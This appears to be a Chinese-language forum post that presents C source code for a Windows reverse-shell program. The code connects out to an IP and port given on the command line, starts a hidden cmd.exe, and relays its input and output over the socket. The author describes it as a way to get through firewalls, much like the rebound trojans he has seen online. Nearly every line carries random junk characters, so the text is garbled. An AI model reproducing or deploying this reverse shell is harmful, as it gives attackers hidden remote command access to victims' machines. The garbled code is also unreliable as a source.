Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 kRlA4h1u_$  
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/* ============================== $UvPo0{  
Rebound port in Windows NT .z-UOyer  
By wind,2006/7 UpfZi9v?W  
===============================*/ g_aCHEFBv  
#include W5SNI>|E  
#include &= eYr{  
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#pragma comment(lib,"wsock32.lib") ^DB{qU  
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void OutputShell(); G1d(,4Xp  
SOCKET sClient; bL1m'^r  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cWa)#:JOV  
;:]\KJm}?  
void main(int argc,char **argv) cyQ
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{ =a$Oecg?  
WSADATA stWsaData; }k7'"`#?"  
int nRet; ->gZ)?Fqy  
SOCKADDR_IN stSaiClient,stSaiServer; KX4],B5 +  
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if(argc != 3) Ri)uq\E/#  
{ 9Ah[rK*}  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8-Me.2K  
return; |"]PCb)!  
} I=IjdwbH  
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WSAStartup(MAKEWORD(2,2),&stWsaData); )D/ 6%]O  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2SG$LIV 9Y  
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stSaiClient.sin_family = AF_INET; \/5RL@X}  
stSaiClient.sin_port = htons(0); |+}G|hx@9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lzhqcL"  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f p[,C1U  
{ qCPmbg  
printf("Bind Socket Failed!\n"); %d;ezY'2  
return; %,UPJn  
} BRv x[u  
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stSaiServer.sin_family = AF_INET; 1^G{tlA-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,[!LCXp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rs;r $  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #hw>tA6
 
{ d~9!,6X
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printf("Connect Error!"); 0
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return; 1G^#q,%X_v  
} Um.qRZ?  
OutputShell(); ae+*=,  
} yj_4gxJ\  
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void OutputShell() n<7q`tM#  
{ v)X\GmW7w  
char szBuff[1024]; W+=o&V  
SECURITY_ATTRIBUTES stSecurityAttributes; *d*,Hqn  
OSVERSIONINFO stOsversionInfo; H/fUM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %)(Cp-b!  
STARTUPINFO stStartupInfo; p/GVTf  
char *szShell; >BVoHt~;  
PROCESS_INFORMATION stProcessInformation; '{b1!nC;  
unsigned long lBytesRead; s60 TxB  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hi}RZMr1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |> enp>  
stSecurityAttributes.lpSecurityDescriptor = 0; ~d >W?A  
stSecurityAttributes.bInheritHandle = TRUE; v& $k9)]  
* ?Jz2[B  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WyhhCR=;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f 2YLk  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]9 w76Z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ &UZy|9  
stStartupInfo.wShowWindow = SW_HIDE; z@ 35NZn  
stStartupInfo.hStdInput = hReadPipe; MXtkP1A`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3'`dFY,  
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GetVersionEx(&stOsversionInfo); yd_ (?V&;_  
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switch(stOsversionInfo.dwPlatformId) *m+BuGt|  
{ }T_Te?<&  
case 1: p9eRZVy/  
szShell = "command.com"; ca<"  
break; /
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default: 5@~|*g[  
szShell = "cmd.exe"; <n"C,  
break; Nf41ZT~  
} ""iaGH+Cxw  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zg)sd1@  
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send(sClient,szMsg,77,0); eOT+'[3"  
while(1) s%4M$e  
{ RW'nUL?_\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 07v!Zj  
if(lBytesRead) Ah69 _>N`S  
{ xg@NQI@7   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9LJZ-/Wq  
send(sClient,szBuff,lBytesRead,0); [^YA=Khu  
} !D^c3d  
else `{v?6:G:Q  
{ BqK(DH^9N  
lBytesRead=recv(sClient,szBuff,1024,0); l! bv^  
if(lBytesRead<=0) break; i]{1^pKq  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3>M&D20Z  
} !U%T&?E l  
} :iWS\G^U  
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return; ~Ou1WnmO  
}